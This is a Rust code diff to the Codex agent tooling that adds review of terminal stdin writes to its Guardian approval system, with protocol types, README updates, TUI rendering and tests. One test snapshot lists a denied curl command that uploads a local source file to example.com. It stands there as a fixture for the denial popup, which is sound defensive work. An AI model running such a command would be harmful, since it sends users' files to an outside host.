CoreGuardianAssessmentAction::ApplyPatch { cwd, files } => {
Self::ApplyPatch { cwd, files }
}
@@ -752,6 +773,19 @@ impl TryFrom<GuardianApprovalReviewAction> for CoreGuardianAssessmentAction {
argv,
cwd,
},
GuardianApprovalReviewAction::WriteStdin {
approval_id,
process_id,
stdin,
cwd,
} => Self::WriteStdin {
approval_id,
process_id,
stdin,
cwd: cwd
.try_into()
.map_err(|err| io::Error::new(io::ErrorKind::InvalidInput, err))?,
},
GuardianApprovalReviewAction::ApplyPatch { cwd, files } => {
Self::ApplyPatch { cwd, files }
}
@@ -1280,6 +1314,8 @@ pub struct ItemGuardianApprovalReviewStartedNotification {
/// In most cases, one review maps to one target item. The exceptions are
/// - execve reviews, where a single command may contain multiple execve
/// calls to review (only possible when using the shell_zsh_fork feature)
/// - stdin reviews, which refer to the existing parent command item and
/// have a separate approval ID in the action payload
/// - network policy reviews, where there is no target item
///
/// A network call is triggered by a CommandExecution item, so having a
@@ -1312,6 +1348,8 @@ pub struct ItemGuardianApprovalReviewCompletedNotification {
/// In most cases, one review maps to one target item. The exceptions are
/// - execve reviews, where a single command may contain multiple execve
/// calls to review (only possible when using the shell_zsh_fork feature)
/// - stdin reviews, which refer to the existing parent command item and
/// have a separate approval ID in the action payload
/// - network policy reviews, where there is no target item
///
/// A network call is triggered by a CommandExecution item, so having a
@@ -1447,10 +1485,24 @@ pub struct FileChangePatchUpdatedNotification {
pub changes: Vec<FileUpdateChange>,
}
v2_enum_from_core! {
/// Distinguishes a command approval from input sent to an existing terminal.
#[derive(Default)]
#[ts(rename_all = "camelCase")]
pub enum CommandExecutionApprovalKind from CoreExecApprovalKind {
#[default]
Command,
WriteStdin,
}
}
#[derive(Serialize, Deserialize, Debug, Clone, PartialEq, JsonSchema, TS, ExperimentalApi)]
#[serde(rename_all = "camelCase")]
#[ts(export_to = "v2/")]
pub struct CommandExecutionRequestApprovalParams {
/// Kind of action under review. Defaults to `command` for older servers.
#[serde(default)]
pub kind: CommandExecutionApprovalKind,
pub thread_id: String,
pub turn_id: String,
pub item_id: String,
@@ -1464,6 +1516,7 @@ pub struct CommandExecutionRequestApprovalParams {
/// For zsh-exec-bridge subcommand approvals, multiple callbacks can belong to
/// one parent `itemId`, so `approvalId` is a distinct opaque callback id
/// (a UUID) used to disambiguate routing.
/// Stdin approvals also use a distinct callback id; inspect `kind` to distinguish them.
#[serde(default, skip_serializing_if = "Option::is_none")]
#[ts(optional = nullable)]
pub approval_id: Option<String>,
codex-rs/app-server-protocol/src/protocol/v2/tests.rs
+41
View File
@@ -1,6 +1,7 @@
use super::*;
use crate::ServerNotification;
use codex_protocol::approvals::ElicitationRequest as CoreElicitationRequest;
use codex_protocol::approvals::GuardianAssessmentAction as CoreGuardianAssessmentAction;
use codex_protocol::config_types::MultiAgentMode;
use codex_protocol::items::AgentMessageContent;
use codex_protocol::items::AgentMessageItem;
@@ -2834,6 +2835,46 @@ fn guardian_approval_review_action_round_trips_command_shape() {
);
}
#[test]
fn guardian_stdin_review_action_round_trips_native_and_foreign_paths() {
for (cwd_uri, cwd_native) in [
("file:///home/alice/repo", "/home/alice/repo"),
(
"file:///C:/Users/Alice%20Smith/repo",
r"C:\Users\Alice Smith\repo",
),
("file://server/share/repo", r"\\server\share\repo"),
] {
let core_action = CoreGuardianAssessmentAction::WriteStdin {
approval_id: "stdin-approval".into(),
process_id: "42".into(),
stdin: "yes\n".into(),
cwd: PathUri::parse(cwd_uri).expect("valid cwd URI"),
};
let action = GuardianApprovalReviewAction::from(core_action.clone());
let value = json!({
"type": "writeStdin",
"approvalId": "stdin-approval",
"processId": "42",
"stdin": "yes\n",
"cwd": cwd_native,
});
assert_eq!(
serde_json::to_value(&action).expect("serialize stdin review action"),
value,
);
let deserialized: GuardianApprovalReviewAction =
serde_json::from_value(value).expect("deserialize stdin review action");
assert_eq!(deserialized, action);
assert_eq!(
CoreGuardianAssessmentAction::try_from(deserialized)
.expect("convert stdin review action"),
core_action,
);
}
}
#[test]
fn network_requirements_deserializes_legacy_fields() {
let requirements: NetworkRequirements = serde_json::from_value(json!({
codex-rs/app-server-test-client/src/lib.rs
+1
View File
@@ -2168,6 +2168,7 @@ impl CodexClient {
params: CommandExecutionRequestApprovalParams,
) -> Result<()> {
let CommandExecutionRequestApprovalParams {
kind: _,
thread_id,
turn_id,
item_id,
codex-rs/app-server/README.md
+4 -2
View File
@@ -1667,7 +1667,7 @@ All items emit shared lifecycle events:
- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. This shape is expected to change soon.
- `autoApprovalReview/strictReviewRequired` — experimental notification carrying `{threadId, turnId, startedAtMs}` whenever elevated or stale Guardian v2 risk requires synchronous approval review.
`review` is [UNSTABLE] and currently has `{status, riskLevel?, userAuthorization?, rationale?}`, where `status` is one of `inProgress`, `approved`, `denied`, or `aborted`. `riskLevel` is one of `"low"`, `"medium"`, `"high"`, or `"critical"` when present. `userAuthorization` is one of `"unknown"`, `"low"`, `"medium"`, or `"high"` when present. `action` is a tagged union with `type: "command" | "execve" | "applyPatch" | "networkAccess" | "mcpToolCall"`. Command-like actions include a `source` discriminator (`"shell"` or `"unifiedExec"`). These notifications are separate from the target item's own `item/completed` lifecycle and are intentionally temporary while the auto-review app protocol is still being designed.
`review` is [UNSTABLE] and currently has `{status, riskLevel?, userAuthorization?, rationale?}`, where `status` is one of `inProgress`, `approved`, `denied`, or `aborted`. `riskLevel` is one of `"low"`, `"medium"`, `"high"`, or `"critical"` when present. `userAuthorization` is one of `"unknown"`, `"low"`, `"medium"`, or `"high"` when present. `action` is a tagged union with `type: "command" | "execve" | "writeStdin" | "applyPatch" | "networkAccess" | "mcpToolCall" | "requestPermissions"`. Command-like actions include a `source` discriminator (`"shell"` or `"unifiedExec"`). A `writeStdin` action carries `approvalId`, `processId`, `stdin`, and `cwd`; it reviews input to an existing command item without changing that parent item's lifecycle. These notifications are separate from the target item's own `item/completed` lifecycle and are intentionally temporary while the auto-review app protocol is still being designed.
There are additional item-specific events:
@@ -1733,11 +1733,13 @@ Certain actions (shell commands or modifying files) may require explicit user ap
Order of messages:
1. `item/started` — shows the pending `commandExecution` item with `command`, `cwd`, and other fields so you can render the proposed action.
2. `item/commandExecution/requestApproval` (request) — carries the same `itemId`, `threadId`, `turnId`, the nullable `environmentId` where the command will run, optionally `approvalId` (for subcommand callbacks), and `reason`. New shell and unified-exec approvals set `environmentId`; older events that do not provide one are exposed as `null`. For normal command approvals, the request also includes `command`, `cwd`, and `commandActions` for friendly display. When `initialize.params.capabilities.experimentalApi = true`, it may also include experimental `additionalPermissions` describing requested per-command sandbox access; any filesystem paths in that payload are absolute on the wire, and network access is represented as `additionalPermissions.network.enabled`. For network-only approvals, those command fields may be omitted and `networkApprovalContext` is provided instead. Optional persistence hints may also be included via `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments`. Clients can prefer `availableDecisions` when present to render the exact set of choices the server wants to expose, while still falling back to the older heuristics if it is omitted.
2. `item/commandExecution/requestApproval` (request) — carries the same `itemId`, `threadId`, `turnId`, the nullable `environmentId` where the command will run, `kind` (`command` or `writeStdin`), optionally `approvalId` (for subcommand callbacks or stdin writes), and `reason`. New shell and unified-exec approvals set `environmentId`; older events that do not provide one are exposed as `null`. For normal command approvals, the request also includes `command`, `cwd`, and `commandActions` for friendly display. When `initialize.params.capabilities.experimentalApi = true`, it may also include experimental `additionalPermissions` describing requested per-command sandbox access; any filesystem paths in that payload are absolute on the wire, and network access is represented as `additionalPermissions.network.enabled`. For network-only approvals, those command fields may be omitted and `networkApprovalContext` is provided instead. Optional persistence hints may also be included via `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments`. Clients can prefer `availableDecisions` when present to render the exact set of choices the server wants to expose, while still falling back to the older heuristics if it is omitted.
3. Client response — for example `{ "decision": "accept" }`, `{ "decision": "acceptForSession" }`, `{ "decision": { "acceptWithExecpolicyAmendment": { "execpolicy_amendment": [...] } } }`, `{ "decision": { "applyNetworkPolicyAmendment": { "network_policy_amendment": { "host": "example.com", "action": "allow" } } } }`, `{ "decision": "decline" }`, or `{ "decision": "cancel" }`.
4. `serverRequest/resolved` — `{ threadId, requestId }` confirms the pending request has been resolved or cleared, including lifecycle cleanup on turn start/complete/interrupt.
5. `item/completed` — final `commandExecution` item with `status: "completed" | "failed" | "declined"` and execution output. Render this as the authoritative result.
`kind` distinguishes command approvals from writes to an existing terminal. Requests from older servers without `kind` retain `command` semantics; `approvalId` alone does not distinguish stdin writes from execve interception.
### File change approvals
Order of messages:
codex-rs/app-server/src/bespoke_event_handling.rs
+2
View File
@@ -612,6 +612,7 @@ pub(crate) async fn apply_bespoke_event_handling(
.map(CommandExecutionApprovalDecision::from)
.collect::<Vec<_>>();
let ExecApprovalRequestEvent {
kind,
call_id,
plugin_id,
script_path,
@@ -697,6 +698,7 @@ pub(crate) async fn apply_bespoke_event_handling(
additional_permissions.map(V2AdditionalPermissionProfile::from);
let params = CommandExecutionRequestApprovalParams {
kind: kind.into(),
thread_id: conversation_id.to_string(),
turn_id: turn_id.clone(),
item_id: call_id.clone(),
codex-rs/app-server/src/outgoing_message.rs
+1
View File
@@ -1021,6 +1021,7 @@ mod tests {
let request = ServerRequest::CommandExecutionRequestApproval {
request_id: RequestId::Integer(7),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
codex-rs/app-server/src/transport_tests.rs
+2
View File
@@ -257,6 +257,7 @@ async fn command_execution_request_approval_strips_additional_permissions_withou
message: OutgoingMessage::Request(ServerRequest::CommandExecutionRequestApproval {
request_id: RequestId::Integer(1),
params: codex_app_server_protocol::CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thr_123".to_string(),
turn_id: "turn_123".to_string(),
item_id: "call_123".to_string(),
@@ -323,6 +324,7 @@ async fn command_execution_request_approval_keeps_additional_permissions_with_ca
message: OutgoingMessage::Request(ServerRequest::CommandExecutionRequestApproval {
request_id: RequestId::Integer(1),
params: codex_app_server_protocol::CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thr_123".to_string(),
turn_id: "turn_123".to_string(),
item_id: "call_123".to_string(),
codex-rs/core/src/guardian/approval_request.rs
+57
View File
@@ -7,6 +7,7 @@ use codex_protocol::approvals::NetworkApprovalProtocol;
use codex_protocol::models::AdditionalPermissionProfile;
use codex_protocol::request_permissions::RequestPermissionProfile;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_path_uri::LegacyAppPathString;
use codex_utils_path_uri::PathUri;
use serde::Serialize;
use serde_json::Value;
@@ -25,6 +26,21 @@ pub(crate) enum GuardianApprovalRequest {
justification: Option<String>,
tty: bool,
},
#[cfg_attr(
not(test),
expect(
dead_code,
reason = "Constructed by the follow-up stdin approval routing change"
)
)]
WriteStdin {
id: String,
approval_id: String,
process_id: i32,
input: String,
cwd: PathUri,
tty: bool,
},
#[cfg(unix)]
Execve {
id: String,
@@ -110,6 +126,16 @@ struct CommandApprovalAction<'a> {
tty: Option<bool>,
}
#[derive(Serialize)]
struct WriteStdinApprovalAction<'a> {
tool: &'static str,
session_id: i32,
chars: &'a str,
cwd: LegacyAppPathString,
sandbox_permissions: crate::sandboxing::SandboxPermissions,
tty: bool,
}
#[cfg(unix)]
#[derive(Serialize)]
struct ExecveApprovalAction<'a> {
@@ -273,6 +299,20 @@ pub(crate) fn guardian_approval_request_to_json(
justification.as_ref(),
Some(*tty),
),
GuardianApprovalRequest::WriteStdin {
process_id,
input,
cwd,
tty,
..
} => serialize_guardian_action(WriteStdinApprovalAction {
tool: "write_stdin",
session_id: *process_id,
chars: input,
cwd: cwd.clone().into(),
sandbox_permissions: crate::sandboxing::SandboxPermissions::RequireEscalated,
tty: *tty,
}),
#[cfg(unix)]
GuardianApprovalRequest::Execve {
id: _,
@@ -367,6 +407,18 @@ pub(crate) fn guardian_assessment_action(
GuardianApprovalRequest::ExecCommand { command, cwd, .. } => {
command_assessment_action(GuardianCommandSource::UnifiedExec, command, cwd)
}
GuardianApprovalRequest::WriteStdin {
approval_id,
process_id,
input,
cwd,
..
} => GuardianAssessmentAction::WriteStdin {
approval_id: approval_id.clone(),
process_id: process_id.to_string(),
stdin: input.clone(),
cwd: cwd.clone(),
},
#[cfg(unix)]
GuardianApprovalRequest::Execve {
source,
@@ -439,6 +491,9 @@ pub(crate) fn guardian_reviewed_action(
additional_permissions: additional_permissions.clone(),
tty: *tty,
},
GuardianApprovalRequest::WriteStdin { tty, .. } => {
GuardianReviewedAction::WriteStdin { tty: *tty }
}
#[cfg(unix)]
GuardianApprovalRequest::Execve {
source,
@@ -480,6 +535,7 @@ pub(crate) fn guardian_reviewed_action(
pub(crate) fn guardian_request_target_item_id(request: &GuardianApprovalRequest) -> Option<&str> {
match request {
GuardianApprovalRequest::ExecCommand { id, .. }
| GuardianApprovalRequest::WriteStdin { id, .. }
| GuardianApprovalRequest::ApplyPatch { id, .. }
| GuardianApprovalRequest::McpToolCall { id, .. }
| GuardianApprovalRequest::RequestPermissions { id, .. } => Some(id),
@@ -497,6 +553,7 @@ pub(crate) fn guardian_request_turn_id<'a>(
GuardianApprovalRequest::NetworkAccess { turn_id, .. }
| GuardianApprovalRequest::RequestPermissions { turn_id, .. } => turn_id,
GuardianApprovalRequest::ExecCommand { .. }
| GuardianApprovalRequest::WriteStdin { .. }
| GuardianApprovalRequest::ApplyPatch { .. }
| GuardianApprovalRequest::McpToolCall { .. } => default_turn_id,
#[cfg(unix)]
codex-rs/core/src/guardian/metrics.rs
+1
View File
@@ -178,6 +178,7 @@ fn reviewed_action_tag(action: &GuardianReviewedAction) -> &'static str {
match action {
GuardianReviewedAction::Shell { .. } => "shell",
GuardianReviewedAction::UnifiedExec { .. } => "unified_exec",
GuardianReviewedAction::WriteStdin { .. } => "write_stdin",
GuardianReviewedAction::Execve { .. } => "execve",
GuardianReviewedAction::ApplyPatch {} => "apply_patch",
GuardianReviewedAction::NetworkAccess { .. } => "network_access",
codex-rs/core/src/guardian/tests.rs
+44
View File
@@ -37,6 +37,7 @@ use codex_model_provider_info::OPENAI_PROVIDER_ID;
use codex_models_manager::manager::StaticModelsManager;
use codex_network_proxy::NetworkProxyConfig;
use codex_protocol::ThreadId;
use codex_protocol::approvals::GuardianAssessmentAction;
use codex_protocol::approvals::NetworkApprovalProtocol;
use codex_protocol::config_types::ApprovalsReviewer;
use codex_protocol::models::ContentItem;
@@ -1364,6 +1365,49 @@ async fn build_guardian_prompt_items_explains_network_access_review_scope() -> a
Ok(())
}
#[test]
fn guardian_write_stdin_preserves_input_and_foreign_cwd() -> serde_json::Result<()> {
let cwd = PathUri::parse("file:///C:/workspace").expect("valid executor cwd");
let input = "confirm\n";
let action = GuardianApprovalRequest::WriteStdin {
id: "terminal-open".to_string(),
approval_id: "terminal-write".to_string(),
process_id: 1000,
input: input.to_string(),
cwd: cwd.clone(),
tty: true,
};
assert_eq!(
guardian_approval_request_to_json(&action)?,
serde_json::json!({
"tool": "write_stdin",
"session_id": 1000,
"chars": input,
"cwd": r"C:\workspace",
"sandbox_permissions": "require_escalated",
"tty": true,
}),
);
assert_eq!(
guardian_assessment_action(&action),
GuardianAssessmentAction::WriteStdin {
approval_id: "terminal-write".to_string(),
process_id: "1000".to_string(),
stdin: input.to_string(),
cwd,
},
);
assert_eq!(
(
guardian_request_target_item_id(&action),
guardian_request_turn_id(&action, "current-turn"),
),
(Some("terminal-open"), "current-turn"),
);
Ok(())
}
#[test]
fn guardian_assessment_action_redacts_apply_patch_patch_text() {
let cwd = test_path_buf("/tmp").abs();
codex-rs/core/src/session/mod.rs
+2
View File
@@ -317,6 +317,7 @@ use codex_otel::SessionTelemetry;
use codex_otel::THREAD_STARTED_METRIC;
use codex_otel::TelemetryAuthMode;
use codex_protocol::ResponseItemId;
use codex_protocol::approvals::ExecApprovalKind;
use codex_protocol::config_types::CollaborationMode;
use codex_protocol::config_types::ModeKind;
use codex_protocol::config_types::Personality;
@@ -2493,6 +2494,7 @@ impl Session {
.map(PluginCommandAttribution::serialized_fields)
.unzip();
let event = EventMsg::ExecApprovalRequest(ExecApprovalRequestEvent {
kind: ExecApprovalKind::Command,
call_id,
plugin_id,
script_path,
codex-rs/mcp-server/src/codex_tool_runner.rs
+1
View File
@@ -197,6 +197,7 @@ async fn run_codex_tool_session_inner(
EventMsg::ExecApprovalRequest(ev) => {
let approval_id = ev.effective_approval_id();
let ExecApprovalRequestEvent {
kind: _,
turn_id: _,
environment_id: _,
started_at_ms: _,
codex-rs/protocol/src/approvals.rs
+21 -1
View File
@@ -6,6 +6,7 @@ use crate::protocol::FileChange;
use crate::protocol::ReviewDecision;
use crate::request_permissions::RequestPermissionProfile;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_path_uri::PathUri;
use schemars::JsonSchema;
use serde::Deserialize;
use serde::Serialize;
@@ -146,6 +147,13 @@ pub enum GuardianAssessmentAction {
argv: Vec<String>,
cwd: AbsolutePathBuf,
},
/// A child approval for input to an existing command execution item.
WriteStdin {
approval_id: String,
process_id: String,
stdin: String,
cwd: PathUri,
},
ApplyPatch {
cwd: AbsolutePathBuf,
files: Vec<AbsolutePathBuf>,
@@ -222,8 +230,20 @@ pub struct GuardianAssessmentEvent {
pub action: GuardianAssessmentAction,
}
/// Distinguishes a command approval from input sent to an existing terminal.
#[derive(Debug, Default, Clone, Copy, Deserialize, Serialize, PartialEq, Eq, JsonSchema, TS)]
#[serde(rename_all = "snake_case")]
pub enum ExecApprovalKind {
#[default]
Command,
WriteStdin,
}
#[derive(Debug, Clone, Deserialize, Serialize, JsonSchema, TS)]
pub struct ExecApprovalRequestEvent {
/// Missing on older events, which retain command approval semantics.
#[serde(default)]
pub kind: ExecApprovalKind,
/// Identifier for the associated command execution item.
pub call_id: String,
/// Trusted plugin attribution for the command item, when available.
@@ -237,7 +257,7 @@ pub struct ExecApprovalRequestEvent {
/// Identifier for this specific approval callback.
///
/// When absent, the approval is for the command item itself (`call_id`).
/// This is present for subcommand approvals (via execve intercept).
/// This is present for subcommand approvals (via execve intercept) and stdin writes.
#[serde(default, skip_serializing_if = "Option::is_none")]
#[ts(optional)]
pub approval_id: Option<String>,
codex-rs/tui/src/app/app_server_requests.rs
+2
View File
@@ -478,6 +478,7 @@ mod tests {
let request = ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(41),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "call-1".to_string(),
@@ -888,6 +889,7 @@ mod tests {
pending.note_server_request(&ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(41),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: thread_id.to_ascii_uppercase(),
turn_id: "turn-1".to_string(),
item_id: "call-1".to_string(),
codex-rs/tui/src/app/pending_interactive_replay.rs
+1
View File
@@ -609,6 +609,7 @@ mod tests {
ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(2),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: turn_id.to_string(),
item_id: call_id.to_string(),
codex-rs/tui/src/app/tests.rs
+1
View File
@@ -6324,6 +6324,7 @@ fn exec_approval_request(
ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(1),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: thread_id.to_string(),
turn_id: turn_id.to_string(),
item_id: item_id.to_string(),
codex-rs/tui/src/app/tests/startup.rs
+1
View File
@@ -949,6 +949,7 @@ async fn startup_thread_started_discards_another_threads_buffered_events() {
let request = ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(1),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: other_thread_id.to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
codex-rs/tui/src/app/thread_event_buffer_tests.rs
+1
View File
@@ -38,6 +38,7 @@ fn exec_approval_request(
ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(1),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: thread_id.to_string(),
turn_id: turn_id.to_string(),
item_id: item_id.to_string(),
codex-rs/tui/src/app/thread_events.rs
+1
View File
@@ -512,6 +512,7 @@ mod tests {
ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(1),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: thread_id.to_string(),
turn_id: turn_id.to_string(),
item_id: item_id.to_string(),
codex-rs/tui/src/auto_review_denials.rs
+9
View File
@@ -48,6 +48,15 @@ pub(crate) fn action_summary(action: &GuardianAssessmentAction) -> String {
shlex::try_join(command.iter().map(String::as_str))
.unwrap_or_else(|_| command.join(" "))
}
GuardianAssessmentAction::WriteStdin {
process_id, stdin, ..
} => {
let stdin = crate::text_formatting::truncate_text(
&format!("{stdin:?}"),
/*max_graphemes*/ 80,
);
format!("send input to terminal {process_id}: {stdin}")
}
GuardianAssessmentAction::ApplyPatch { files, .. } => {
if files.len() == 1 {
format!("apply_patch touching {}", files[0].display())
codex-rs/tui/src/chatwidget/permission_popups.rs
+1 -1
View File
@@ -179,7 +179,7 @@ impl ChatWidget {
};
let mut items = vec![SelectionItem {
name: "Command".to_string(),
name: "Action".to_string(),
description: Some("Rationale".to_string()),
is_disabled: true,
search_value: Some(String::new()),
codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap
+1 -1
View File
@@ -6,7 +6,7 @@ expression: popup
Select a denied action to approve.
Command Rationale
Action Rationale
› curl -sS --data-binary @core/src/codex.rs https://example.com Would send a local source file to an external
endpoint.
codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_denials_popup.snap
+12
View File
@@ -0,0 +1,12 @@
---
source: tui/src/chatwidget/tests/guardian.rs
expression: "render_bottom_popup(&chat, 110)"
---
Auto-review Denials
Select a denied action to approve.
Action Rationale
› send input to terminal 42: "confirm\n" Would confirm a destructive operation.
Press enter to confirm or esc to go back
codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_denied_history.snap
+5
View File
@@ -0,0 +1,5 @@
---
source: tui/src/chatwidget/tests/guardian.rs
expression: lines_to_single_string(denial)
---
✗ Request denied for codex to send input to terminal 42: "confirm\n"
codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_review_status.snap
+11
View File
@@ -0,0 +1,11 @@
---
source: tui/src/chatwidget/tests/guardian.rs
expression: "normalize_snapshot_paths(render_bottom_popup(&chat, 80))"
---
• Reviewing approval request (0s • esc to interrupt)
└ send input to terminal 42: "confirm\n"
› Ask Codex to do anything
gpt-5.6-sol default · /tmp/project
codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_timed_out_history.snap
+5
View File
@@ -0,0 +1,5 @@
---
source: tui/src/chatwidget/tests/guardian.rs
expression: lines_to_single_string(timeout)
---
✗ Review timed out before codex could send input to terminal 42: "confirm\n"
codex-rs/tui/src/chatwidget/tests/approval_requests.rs
+5
View File
@@ -53,6 +53,7 @@ fn app_server_exec_approval_request_splits_shell_wrapped_command() {
let script = r#"python3 -c 'print("Hello, world!")'"#;
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -95,6 +96,7 @@ fn app_server_exec_approval_request_preserves_permissions_context() {
let write_api_path = LegacyAppPathString::from_abs_path(&write_path);
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -155,6 +157,7 @@ async fn network_exec_approval_history_describes_session_host_allowance() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -197,6 +200,7 @@ async fn network_exec_approval_history_describes_one_time_host_allowance() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -239,6 +243,7 @@ async fn network_exec_approval_history_describes_canceled_host_request() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
codex-rs/tui/src/chatwidget/tests/exec_flow.rs
+1
View File
@@ -481,6 +481,7 @@ fn app_server_exec_approval_request_splits_shell_wrapped_command() {
let script = r#"python3 -c 'print("Hello, world!")'"#;
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
codex-rs/tui/src/chatwidget/tests/guardian.rs
+142
View File
@@ -51,6 +51,148 @@ fn guardian_command_event(
}
}
fn guardian_write_stdin_notification(status: GuardianApprovalReviewStatus) -> ServerNotification {
let action = AppServerGuardianApprovalReviewAction::WriteStdin {
approval_id: "stdin-approval".to_string(),
process_id: "42".to_string(),
stdin: "confirm\n".to_string(),
cwd: test_path_buf("/tmp/project").abs().into(),
};
let review = GuardianApprovalReview {
status,
risk_level: None,
user_authorization: None,
rationale: (status == GuardianApprovalReviewStatus::Denied)
.then(|| "Would confirm a destructive operation.".to_string()),
};
if status == GuardianApprovalReviewStatus::InProgress {
ServerNotification::ItemGuardianApprovalReviewStarted(
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-2".to_string(),
started_at_ms: 0,
review_id: "guardian-write-stdin".to_string(),
target_item_id: Some("parent-terminal".to_string()),
review,
action,
},
)
} else {
ServerNotification::ItemGuardianApprovalReviewCompleted(
ItemGuardianApprovalReviewCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-2".to_string(),
started_at_ms: 0,
completed_at_ms: 1,
review_id: "guardian-write-stdin".to_string(),
target_item_id: Some("parent-terminal".to_string()),
decision_source: AppServerGuardianApprovalReviewDecisionSource::Agent,
review,
action,
},
)
}
}
#[tokio::test]
async fn app_server_guardian_write_stdin_denial_preserves_child_action() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let thread_id = ThreadId::new();
chat.thread_id = Some(thread_id);
chat.on_task_started();
chat.handle_server_notification(
guardian_write_stdin_notification(GuardianApprovalReviewStatus::InProgress),
/*replay_kind*/ None,
);
assert_chatwidget_snapshot!(
"guardian_write_stdin_review_status",
normalize_snapshot_paths(render_bottom_popup(&chat, /*width*/ 80))
);
chat.handle_server_notification(
guardian_write_stdin_notification(GuardianApprovalReviewStatus::Denied),
/*replay_kind*/ None,
);
assert!(chat.status_state.pending_guardian_review_status.is_empty());
assert_eq!(chat.status_state.current_status.header, "Working");
let history = drain_insert_history(&mut rx);
let [denial] = history.as_slice() else {
panic!("expected only the stdin denial in history");
};
assert_chatwidget_snapshot!(
"guardian_write_stdin_denied_history",
lines_to_single_string(denial)
);
chat.open_auto_review_denials_popup();
assert_chatwidget_snapshot!(
"guardian_write_stdin_denials_popup",
render_bottom_popup(&chat, /*width*/ 110)
);
chat.approve_recent_auto_review_denial(thread_id, "guardian-write-stdin".to_string());
let Ok(AppEvent::SubmitThreadOp {
thread_id: submitted_thread_id,
op: Op::ApproveGuardianDeniedAction { event },
}) = rx.try_recv()
else {
panic!("expected a structured approval for the stdin denial");
};
assert_eq!(
(submitted_thread_id, event.action),
(
thread_id,
GuardianAssessmentAction::WriteStdin {
approval_id: "stdin-approval".to_string(),
process_id: "42".to_string(),
stdin: "confirm\n".to_string(),
cwd: test_path_buf("/tmp/project").abs().into(),
},
)
);
}
#[tokio::test]
async fn app_server_guardian_write_stdin_approval_and_timeout_clear_review_status() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.on_task_started();
for status in [
GuardianApprovalReviewStatus::InProgress,
GuardianApprovalReviewStatus::Approved,
] {
chat.handle_server_notification(
guardian_write_stdin_notification(status),
/*replay_kind*/ None,
);
}
assert!(drain_insert_history(&mut rx).is_empty());
assert!(chat.status_state.pending_guardian_review_status.is_empty());
assert_eq!(chat.status_state.current_status.header, "Working");
for status in [
GuardianApprovalReviewStatus::InProgress,
GuardianApprovalReviewStatus::TimedOut,
] {
chat.handle_server_notification(
guardian_write_stdin_notification(status),
/*replay_kind*/ None,
);
}
assert!(chat.status_state.pending_guardian_review_status.is_empty());
assert!(chat.review.recent_auto_review_denials.is_empty());
assert_eq!(chat.status_state.current_status.header, "Working");
let history = drain_insert_history(&mut rx);
let [timeout] = history.as_slice() else {
panic!("expected only the stdin timeout in history");
};
assert_chatwidget_snapshot!(
"guardian_write_stdin_timed_out_history",
lines_to_single_string(timeout)
);
}
#[tokio::test]
async fn auto_review_denials_popup_lists_stored_auto_review_denials() {
